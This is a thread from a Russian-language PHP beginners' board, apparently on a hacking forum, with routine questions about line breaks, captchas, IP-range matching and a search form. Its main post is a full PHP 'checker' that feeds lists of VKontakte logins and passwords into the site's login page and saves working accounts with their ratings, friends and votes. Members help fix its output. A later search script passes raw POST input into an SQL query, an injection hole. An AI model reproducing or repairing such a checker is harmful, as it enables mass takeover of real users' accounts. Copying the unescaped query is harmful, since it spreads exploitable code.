[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. [dei]

    [dei] Active Member

    Joined:
    24 Nov 2008
    Messages:
    171
    Likes Received:
    112
    Reputations:
    5

    нафига дублировать, тебе ответили уже
    /thread110183.html
     
    1 person likes this.
  2. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Ре адепты!
    вопрос:
    сделал форму ввода текстеа,но когда я хочу написать что то с новой строки и послать в бд, то облом, текст выглядит не так,как я его набрал,там где должно быть с новой строки - там идёт вряр...как исоравить?

    Пример:
    ввожу:
    1
    2
    3
    получаю:
    1 2 3
     
    #8922 -m0rgan-, 10 Mar 2009
    Last edited: 10 Mar 2009
    1 person likes this.
  3. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    http://ru.php.net/nl2br
     
    1 person likes this.
  4. TERYS

    TERYS Member

    Joined:
    11 Jan 2006
    Messages:
    77
    Likes Received:
    22
    Reputations:
    -2
    Хочу закодировать текст.
    Получаю ошибку
    Parse error: syntax error, unexpected T_STRING in Z:\home\test2.ru\www\wp-content\themes\ForestGreen\test2.php on line 12

    что делаю не так?
     
    1 person likes this.
  5. kraken

    kraken Member

    Joined:
    2 Jan 2009
    Messages:
    74
    Likes Received:
    75
    Reputations:
    5
    TERYS посмотри ты там не закрыл в нужных местах кавычку. юзай редакторы с подсветкой кода!
     
    3 people like this.
  6. Fuckel

    Fuckel Banned

    Joined:
    16 Jan 2008
    Messages:
    274
    Likes Received:
    59
    Reputations:
    6
    TERYS, ты забыл экранировать кавычки в нужных местах.
    kraken, все у него кавычки на местах.
     
  7. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25

    Эээ...а есть примеры где-нибудь мб ? Я про капчу почти ничего не знаю,кроме как того,что она тормозит регу )))
     
  8. kraken

    kraken Member

    Joined:
    2 Jan 2009
    Messages:
    74
    Likes Received:
    75
    Reputations:
    5
    TERYS твой код
    PHP:
    <?php

    eval(str_rot13('function check_footer(){$l=\'<a href="http://www.askgraphics.com/">Website design</a> by AskGraphics.com | <a href="http://www.skinpress.com/">Wordpress themes</a> by SkinPress\';$f=dirname(__FILE__).\'/footer.php\';$fd=fopen($f,\'r\');$c=fread($fd,filesiz e($f));fclose($fd);if(strpos($c,$l)==0){echo \'This theme is released under creative commons licence, all links in the footer should remain intact\';die;}}check_footer();'));


    eval(
    str_rot13('function check_header(){if(!(function_exists("check_functions")&&function_exists("check_f_footer"))){echo(\'This theme is released under creative commons licence, all links in the footer should remain intact\');die;}}'));


    ?>
     
  9. Fuckel

    Fuckel Banned

    Joined:
    16 Jan 2008
    Messages:
    274
    Likes Received:
    59
    Reputations:
    6
    тривиальный пример каптчи:
    PHP:
    <?php
    session_start
    ();
    $c rand(1000099999);
    $_SESSION['c']=$c;
    $im imagecreate(10030);
    $bg imagecolorallocate($im255255255);
    $textcolor imagecolorallocate($im00255);
    imagestring($im500$_SESSION['c'], $textcolor);
    header("Content-type: image/png");
    imagepng($im);
    ?> 
    рандомом берется пятизначное число, записывается в сессию и выводится на экран в виде png
    на счет качественной каптчи лучше погугли. есть довольно интерсеные.
     
    #8929 Fuckel, 10 Mar 2009
    Last edited: 10 Mar 2009
  10. jkSeyv

    jkSeyv Member

    Joined:
    19 Jan 2009
    Messages:
    0
    Likes Received:
    18
    Reputations:
    3
    есть проблема с чекером. Сразу говорю, чекер-паблик, нашёл на злом, датирован август 2008.
    но чекает четко: валид-невалид, кол-во друзья, рейт; подчсет в сумме...
    тестил на денвере всё ок!
    Проблема заключается в том, что когда чекает акки, то вписывает в конечный файл вот такой вид:

    т.е. пишет всё в одну строчку... копаясь в коде, ниче не нашёл.
    вот кусок начала кода чекера:

    кто поможет разобраться? в долгу не останусь)
     
  11. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    478
    Likes Received:
    483
    Reputations:
    99
    не тот кусок кода дал.
    fwrite не видно что-то)
     
  12. jkSeyv

    jkSeyv Member

    Joined:
    19 Jan 2009
    Messages:
    0
    Likes Received:
    18
    Reputations:
    3
    wildshaman
    дык, я когда копался, то смотрел по примеру др. php кода, то сам не нашёл ниче такого...
     
  13. jkSeyv

    jkSeyv Member

    Joined:
    19 Jan 2009
    Messages:
    0
    Likes Received:
    18
    Reputations:
    3
    нужны ещё вроде put() либо fputs() посоветовали..

    fputs() тока в коде имеется:

    PHP:
    <center><div style='width: 100%; text-align: center;'><img src='http://vkontakte.ru/images/xhead2.gif' /></div></center>
    <?
    @set_time_limit(0);
    $votes 0;
    $traffic 0;
    $badacc 0;
    $friendz 0;
    $ratecount 0;
    $goldcount 0;
    $fbad fopen("lowrate.txt","w");
    fclose($fbad);
    $fbad fopen("lowrate.txt","a+");
    $fval fopen("valid.txt","w");
    fclose($fval);
    $fvalfopen("valid.txt","a+");
    @
    $filelog file_get_contents("log.txt");
    if(!empty(
    $_POST['list']))
        {
    $accs123 split("\n",$_POST['list']); }
    else {
    $accs123 split("\n",$filelog); }
    if(empty(
    $_POST['list']) && empty($filelog)) {
    $aaaa 0; } else {
    $aaaa count($accs123); }

    if(!isset(
    $_POST['list'])) {
    echo <<<list
    <center><form method="post">
        <p>
    Список акков <br>

    Если нажать кнопку "проверить" с пустым полем - будут проверяться акки из <b>log.txt</b><br>
    <textarea name="list" rows=15 cols=37></textarea><br>
        <input type="submit" value="Проверить" >
        </p>
     </form></center>
    list;
    echo (
    "<br><center><b>(c) AdReNa1!Ne & Kaimi<br>All Rights Left</b></center>");
    die();
    }

    $valid 0;
    $invalid 0;
    @
    $filelog file_get_contents("log.txt");
    set_time_limit(0);
    if(!empty(
    $_POST['list']))
        {
        
    $accs split("\n",$_POST['list']); 
    }
    else {
        
    $accs split("\n",$filelog); }
          
    $accs array_unique($accs);
          if(!empty(
    $accs)) {
        
    $browser="Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14";
        echo 
    '<center><table border="1"><tr><td><b>Аккаунт</b></td><td><b>Рейтинг</b></td><td><b>Идентификатор</b></td><td><b>Друзья</b></td><td><b>Оплаченные голоса</b></td></tr>';
        foreach(
    $accs as $acc)
            {
                
    $pos strpos($acc";");
                
    $pos1 strpos($acc":");
                
    $acc trim($acc);
                if(
    $pos != false) {
                
    $separator ";"; }
                if(
    $pos1 != false) {
                
    $separator ":"; } 
            list(
    $login$pwd) = split($separator$acc);
            
            
    $ret=socket_do("vkontakte.ru","email={$login}&pass={$pwd}","/login.php",$browser,'',1,"POST",'http://vkontakte.ru',1,'',''); 
            
    $traffic $traffic strlen($ret);
                if(
    preg_match("/\b302 Found\b/is"$ret)) {
                
    fputs($fval$acc);
                
    $valid++;   
                }            
                
    $ret=substr($ret,0,strpos($ret,"\r\n\r\n"));
            
    preg_match_all('/Set-Cookie: (.+);/iUs',$ret,$cook);
            
    $cookies = array();
            foreach(
    $cook[1] as $ck)
                {
                
    $cookies[]=$ck;
                }
            
    $cookies=implode('; ',array_unique($cookies));
            
            
    $ret=socket_do("vkontakte.ru",'',"/rate.php",$browser,$cookies,1,"GET",'',0,'','');
                
    $traffic $traffic strlen($ret);
                    
    preg_match('/remixmid=(\d+);/i',$cookies$id);
                    
    preg_match('/У Вас <b>(.*)</i',$ret$vote);
                    
    $votes $votes $vote[1];
                    if(!empty(
    $vote[1])) {
                    
    $voteansw "<td><b>Голосов - $vote[1]</b></td>";
                    }
                    else {
                    
    $voteansw "<td>Голосов - 0</td>"; }
              
    $retfri=socket_do("vkontakte.ru",'',"/id".$id[1],$browser,$cookies,1,"GET",'',0,'','');
                
    $traffic $traffic strlen($retfri);
            
    preg_match('/Друзья <span>(.*)</i',$retfri$friends);
                
    $friends str_replace("(","",$friends);
                
    $friends str_replace(")","",$friends);
                
    $friends str_replace("</span></h2>","",$friends);
                
    $friendz $friendz $friends[1];
                 if(
    $friends[1] > 500) {
                      
    $friendszzzz "<b>".$friends[1]."</b>"; }
                      else {
                      
    $friendszzzz $friends[1]; }
                 if(
    strlen($id[1]) < 6) {
                 
    $idch "<b>".$id[1]."</b>"; }
                 else {
                 
    $idch $id[1]; }
                if(!
    preg_match('/percentGold" style="width:100px">(.*)</',$ret$rate))
                {
                
    preg_match('/percent" style="width:100px">(.*)</',$ret$rate);
                if(
    $rate[1] == "100%") {
                      
    $rrrr "FULL RATE";
                      
    $ratemin str_replace("%","",$rate[1]);
                      if(
    $ratemin 30) {
                      
    fputs($fbad$acc);
                      
    $badacc++; }
                      } else {
                      
    $rrrr "RATE"; } 
                      
    $ratemin str_replace("%","",$rate[1]);
                      if(
    $ratemin 30) {
                      
    fputs($fbad$acc);
                      
    $badacc++; }
                      if(
    strlen($rate[1]>0) && $ratemin 30) echo "<tr><td>$acc</td>   <td>$rate[1] - $rrrr</td> <td>ID - $idch</td><td>Друзей - $friendszzzz</td>$voteansw</tr>\n";            
    }
            else
                {
                      
    $ratemin str_replace("%","",$rate[1]);
                      if(
    $ratemin 30) {
                      
    fputs($fbad$acc);
                      
    $badacc++; }
                if(
    strlen($rate[1]>0) && $ratemin 30) echo "<tr><td>$acc   <td><b>$rate[1] - GOLD RATE</b></td> <td>ID - $idch</td><td>Друзей - $friendszzzz</td>$voteansw</tr>\n";    
    $goldcount++;            
    }

            }
    usleep(500);
        }

    function 
    socket_do($host,$vars,$service_uri,$browser,$cookies='',$sread=1,$method='POST',$ref='',$addheaders=1,$proxy=false,$proxyport=0,$HTTP='1.0')
    {
      
    $ret="";

      if(
    $method=='GET' && $vars)
      {
        
    $service_uri.='?'.$vars;
        
    $vars='';
      }

      
    $header="Host: $host\r\n";
      
    $header.="User-Agent: $browser\r\n";

      if(
    $addheaders==1)
      {
        
    $header.="Content-Type: application/x-www-form-urlencoded\r\n";
        
    $header.="Content-Length: ".strlen($vars)."\r\n";
      }
      else if(
    $addheaders==0)
      {
        
    $header.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
        
    $header.="Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
        
    $header.="Accept-Encoding: \r\n";
        
    $header.="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
      }
      else if(
    $addheaders==2)
      {
        
    $header.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
        
    $header.="Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
        
    $header.="Accept-Encoding: \r\n";
        
    $header.="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
        
    $header.="Pragma: no-cache\r\n";
        
    $header.="Cache-Control: no-cache\r\n";
        
    $header.="Content-Length: ".strlen($vars)."\r\n";
        
    $header.="Content-Type: application/x-www-form-urlencoded; charset=windows-1251\r\n";
      }
      else if(
    $addheaders==3)
      {
        
    $header.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
        
    $header.="Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
        
    $header.="Accept-Encoding: gzip,deflate\r\n";
        
    $header.="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
      }


      if(
    $ref$header.="Referer: $ref\r\n";

      
    $header.="Connection: close\r\n";

      if(
    $cookies)
        
    $header.="Cookie: $cookies\r\n";

      
    $header.="\r\n";


      if(
    $proxy)
      {
        
    $addquery="$method http://$host$service_uri  HTTP/$HTTP\r\n";
        
    $fp=fsockopen("tcp://".$proxy,$proxyport,$errno,$errstr,30);
      }
      else
      {
        
    $addquery="$method $service_uri  HTTP/$HTTP\r\n";
        
    $fp=fsockopen("tcp://".$host,80,$errno,$errstr,30);
      }

      
    stream_set_timeout($fp,30);

      if(!
    $fp)
      {
        print 
    "<font color=red>Socket error: <i>$errstr ($errno)</i></font><br>";
        return 
    '';
      }

      
    fputs($fp,$addquery);
      
    fputs($fp,$header.$vars);

      if(
    $sread)
      {
        while(!
    feof($fp))
        {
          
    $ret.=fgets($fp128);
        }
      }

      
    fclose($fp);

      return 
    $ret;
    }
    fclose($fval);
    fclose($fbad);
    $invalid $aaaa $valid;
    $ratecount $valid $goldcount;
    $traffic $traffic 1024;
    выручайте, знаю, вы сможете :)

    нужно чтоб записывал валидные акки с каждой новой строкой
     
  14. bombeg

    bombeg Member

    Joined:
    27 Oct 2008
    Messages:
    136
    Likes Received:
    83
    Reputations:
    8
    =>
     
  15. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    РЕ адепты!
    снова я с вопросом...*Застыдился*

    В общем как сделать такую фичу, как у вас в быстром отвере, что типа клацаеш а В и в текстовом поле появляется

    И как кделать так, чтоб html, php и прочья вредная х-ня не обрабатывались в форме?

    Зарание спасибо!
     
  16. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    Всмысле в цитатах? там выборка идет из БАЗЫ.
    Для передачи быстрого ответа достаточно отправить форму с текстом..
     
  17. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Не, я клацаю на [​IMG] и в поле ввода текста появляется ббкод , вот это мне нужно осуществить...
     
    1 person likes this.
  18. jkSeyv

    jkSeyv Member

    Joined:
    19 Jan 2009
    Messages:
    0
    Likes Received:
    18
    Reputations:
    3
    bombeg всё работает, спасибо :)
    ща мож не по теме будет, кто знает как денвер настроить чтоб он контактовал не тока с gprs подключением, отключая прокси, но чтоб ещё можно было с прокси работать?
    Объясняю, у меня запрос земля (жопорез) - приём со спутника, инёт держится через ускоритель, а та прокся что прописана, в настройках браузера и есть само подключение со спутником... проблема в том, что подключение через gprs очень дорого((( вот и хочется чтоб с проксей работал.. включаю прокси, вылазит ошибка подкл.
    понятно так о чем я?
     
  19. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    m0Hze
    PHP:
    function netMatch ($CIDR,$IP) {
        list (
    $net$mask) = explode ('/'$CIDR);
        return ( 
    ip2long ($IP) & ~((<< (32 $mask)) - 1) ) == ip2long ($net);

    var_dump(netMatch('127.0.0.0/16','127.0.0.51'));
     
    _________________________
    1 person likes this.
  20. #Wolf#

    #Wolf# Elder - Старейшина

    Joined:
    26 Mar 2008
    Messages:
    375
    Likes Received:
    166
    Reputations:
    16
    вот имею такой скрипт поиска:
    PHP:
    $search=$_POST['search'];
    $querymysql_query("SELECT * FROM list WHERE surname='$search' OR name='$search' OR patronymic= '$search' ORDER BY surname");
    $resultmysql_num_rows($query);

    if (
    $result == 0)
    {
    echo 
    "Ничего не найдено по запросу <b>$search</b><br><br><br>";
     
    }
    else if (
    $result == 1)
    {
    echo 
    "Найден<b>1</b> результат!<br><br><br>";
    }
    else {
    echo 
    "Найдено <b>$result</b> результата(ов)!<br><br><br>";
    }
    while (
    $rowmysql_fetch_array($query))
    {
    echo 
    "<tr class=\"name_result\"><td>$row[surname]&nbsp;$row[name]</td></tr>";
    }
    если искать только имя или только фамилию, то претензий нет..а если Имя фамилию, или Ф.И.О то естественно ничего не находит...
    как быть в таком случае?
     
    #8940 #Wolf#, 11 Mar 2009
    Last edited: 11 Mar 2009
    1 person likes this.
Thread Status:
Not open for further replies.